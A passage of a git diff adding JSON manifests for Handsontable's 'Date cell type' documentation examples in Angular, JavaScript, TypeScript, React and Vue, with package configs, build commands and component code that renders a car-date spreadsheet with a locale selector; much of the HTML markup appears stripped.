},\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation, HostListener, ElementRef, inject } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface CarData {\n car: string;\n product_date: string;\n payment_date: string;\n registration_date: string;\n}\n\n@Component({\n selector: 'example1-date-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n
    \n \n {{ selectedLabel }}\n \n \n @if (isOpen) {\n
      \n @for (opt of localeOptions; track opt.value) {\n {{ opt.label }}\n }\n
    \n }\n
    \n
    \n
    \n
    \n \n
    \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n isOpen = false;\n locale = 'en-US';\n\n readonly localeOptions = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n ];\n\n readonly data: CarData[] = [\n {\n car: 'Mercedes A 160',\n product_date: '2002-06-15',\n payment_date: '2002-05-20',\n registration_date: '2002-07-01',\n },\n {\n car: 'Citroën C4 Coupe',\n product_date: '2007-03-22',\n payment_date: '2007-02-28',\n registration_date: '2007-04-10',\n },\n {\n car: 'Audi A4 Avant',\n product_date: '2011-09-08',\n payment_date: '2011-08-15',\n registration_date: '2011-09-20',\n },\n {\n car: 'Opel Astra',\n product_date: '2012-01-30',\n payment_date: '2012-01-10',\n registration_date: '2012-02-14',\n },\n {\n car: 'BMW 320i Coupe',\n product_date: '2004-11-12',\n payment_date: '2004-10-20',\n registration_date: '2004-12-01',\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car', 'Product date', 'Payment date', 'Registration date'],\n locale: this.locale,\n columns: [\n {\n type: 'text',\n data: 'car',\n },\n {\n type: 'intl-date',\n data: 'product_date',\n dateFormat: { dateStyle: 'short' },\n },\n {\n type: 'intl-date',\n data: 'payment_date',\n dateFormat: {\n month: 'long',\n day: 'numeric',\n year: 'numeric',\n },\n },\n {\n type: 'intl-date',\n data: 'registration_date',\n dateFormat: {\n weekday: 'long',\n year: 'numeric',\n month: 'long',\n day: 'numeric',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n get selectedLabel(): string {\n return this.localeOptions.find((o) => o.value === this.locale)?.label || '';\n }\n\n private elementRef = inject(ElementRef);\n\n toggleDropdown(): void {\n this.isOpen = !this.isOpen;\n }\n\n selectLocale(value: string): void {\n this.locale = value;\n this.isOpen = false;\n this.hotTable?.hotInstance?.updateSettings({ locale: this.locale });\n }\n\n @HostListener('document:click', ['$event'])\n onDocumentClick(event: MouseEvent): void {\n if (!this.elementRef.nativeElement.querySelector('.theme-dropdown')?.contains(event.target)) {\n this.isOpen = false;\n }\n }\n\n @HostListener('document:keydown', ['$event'])\n onKeydown(event: KeyboardEvent): void {\n if (event.key === 'Escape') {\n this.isOpen = false;\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/date-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Date cell type"],"guide":"guides/cell-types/date-cell-type/date-cell-type.md","guideTitle":"Date cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/date-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..fe169f0c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Date cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst dropdown = document.querySelector('#localeDropdown');\nconst trigger = document.querySelector('#localeTrigger');\nconst menu = document.querySelector('#localeMenu');\nconst label = document.querySelector('#localeLabel');\nconst data = [\n {\n car: 'Mercedes A 160',\n product_date: '2002-06-15',\n payment_date: '2002-05-20',\n registration_date: '2002-07-01',\n },\n {\n car: 'Citroën C4 Coupe',\n product_date: '2007-03-22',\n payment_date: '2007-02-28',\n registration_date: '2007-04-10',\n },\n {\n car: 'Audi A4 Avant',\n product_date: '2011-09-08',\n payment_date: '2011-08-15',\n registration_date: '2011-09-20',\n },\n {\n car: 'Opel Astra',\n product_date: '2012-01-30',\n payment_date: '2012-01-10',\n registration_date: '2012-02-14',\n },\n {\n car: 'BMW 320i Coupe',\n product_date: '2004-11-12',\n payment_date: '2004-10-20',\n registration_date: '2004-12-01',\n },\n];\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Car', 'Product date', 'Payment date', 'Registration date'],\n columns: [\n {\n type: 'text',\n data: 'car',\n },\n {\n type: 'intl-date',\n data: 'product_date',\n dateFormat: {\n dateStyle: 'short',\n },\n },\n {\n type: 'intl-date',\n data: 'payment_date',\n dateFormat: {\n month: 'long',\n day: 'numeric',\n year: 'numeric',\n },\n },\n {\n type: 'intl-date',\n data: 'registration_date',\n dateFormat: {\n weekday: 'long',\n year: 'numeric',\n month: 'long',\n day: 'numeric',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = e.target.closest('li[data-value]');\n\n if (item) {\n label.textContent = item.textContent.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/date-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Date cell type"],"guide":"guides/cell-types/date-cell-type/date-cell-type.md","guideTitle":"Date cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/date-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..a32b335f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Date cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst dropdown = document.querySelector('#localeDropdown')!;\nconst trigger = document.querySelector('#localeTrigger')!;\nconst menu = document.querySelector('#localeMenu')!;\nconst label = document.querySelector('#localeLabel')!;\nconst data = [\n {\n car: 'Mercedes A 160',\n product_date: '2002-06-15',\n payment_date: '2002-05-20',\n registration_date: '2002-07-01',\n },\n {\n car: 'Citroën C4 Coupe',\n product_date: '2007-03-22',\n payment_date: '2007-02-28',\n registration_date: '2007-04-10',\n },\n {\n car: 'Audi A4 Avant',\n product_date: '2011-09-08',\n payment_date: '2011-08-15',\n registration_date: '2011-09-20',\n },\n {\n car: 'Opel Astra',\n product_date: '2012-01-30',\n payment_date: '2012-01-10',\n registration_date: '2012-02-14',\n },\n {\n car: 'BMW 320i Coupe',\n product_date: '2004-11-12',\n payment_date: '2004-10-20',\n registration_date: '2004-12-01',\n },\n];\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Car', 'Product date', 'Payment date', 'Registration date'],\n columns: [\n {\n type: 'text',\n data: 'car',\n },\n {\n type: 'intl-date',\n data: 'product_date',\n dateFormat: {\n dateStyle: 'short',\n },\n },\n {\n type: 'intl-date',\n data: 'payment_date',\n dateFormat: {\n month: 'long',\n day: 'numeric',\n year: 'numeric',\n },\n },\n {\n type: 'intl-date',\n data: 'registration_date',\n dateFormat: {\n weekday: 'long',\n year: 'numeric',\n month: 'long',\n day: 'numeric',\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = (e.target as HTMLElement).closest('li[data-value]') as HTMLLIElement | null;\n\n if (item) {\n label.textContent = item.textContent!.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target as Node)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/date-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Date cell type"],"guide":"guides/cell-types/date-cell-type/date-cell-type.md","guideTitle":"Date cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/date-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..c3553534 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Date cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst localeOptions: { value: string; label: string }[] = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const dropdownRef = useRef(null);\n const [isOpen, setIsOpen] = useState(false);\n const [locale, setLocale] = useState('en-US');\n\n useEffect(() => {\n const handleOutsideClick = (e: MouseEvent) => {\n if (dropdownRef.current && !dropdownRef.current.contains(e.target as Node)) {\n setIsOpen(false);\n }\n };\n const handleEscape = (e: KeyboardEvent) => {\n if (e.key === 'Escape') {\n setIsOpen(false);\n }\n };\n\n document.addEventListener('click', handleOutsideClick);\n document.addEventListener('keydown', handleEscape);\n\n return () => {\n document.removeEventListener('click', handleOutsideClick);\n document.removeEventListener('keydown', handleEscape);\n };\n }, []);\n\n const handleSelect = (value: string) => {\n setLocale(value);\n setIsOpen(false);\n hotRef.current?.hotInstance?.updateSettings({ locale: value } as Handsontable.GridSettings);\n };\n\n const selectedLabel = localeOptions.find((o) => o.value === locale)?.label;\n\n const data = [\n {\n car: 'Mercedes A 160',\n product_date: '2002-06-15',\n payment_date: '2002-05-20',\n registration_date: '2002-07-01',\n },\n {\n car: 'Citroën C4 Coupe',\n product_date: '2007-03-22',\n payment_date: '2007-02-28',\n registration_date: '2007-04-10',\n },\n {\n car: 'Audi A4 Avant',\n product_date: '2011-09-08',\n payment_date: '2011-08-15',\n registration_date: '2011-09-20',\n },\n {\n car: 'Opel Astra',\n product_date: '2012-01-30',\n payment_date: '2012-01-10',\n registration_date: '2012-02-14',\n },\n {\n car: 'BMW 320i Coupe',\n product_date: '2004-11-12',\n payment_date: '2004-10-20',\n registration_date: '2004-12-01',\n },\n ];\n\n return (\n <>\n
    \n
    \n
    \n setIsOpen(!isOpen)}\n >\n {selectedLabel}\n \n \n {isOpen && (\n
      \n {localeOptions.map((opt) => (\n handleSelect(opt.value)}\n >\n {opt.label}\n \n ))}\n
    \n )}\n
    \n
    \n
    \n\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/date-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Date cell type"],"guide":"guides/cell-types/date-cell-type/date-cell-type.md","guideTitle":"Date cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/date-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..63ab5c4b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Date cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/date-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Date cell type"],"guide":"guides/cell-types/date-cell-type/date-cell-type.md","guideTitle":"Date cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/date-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..0f60f0c9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
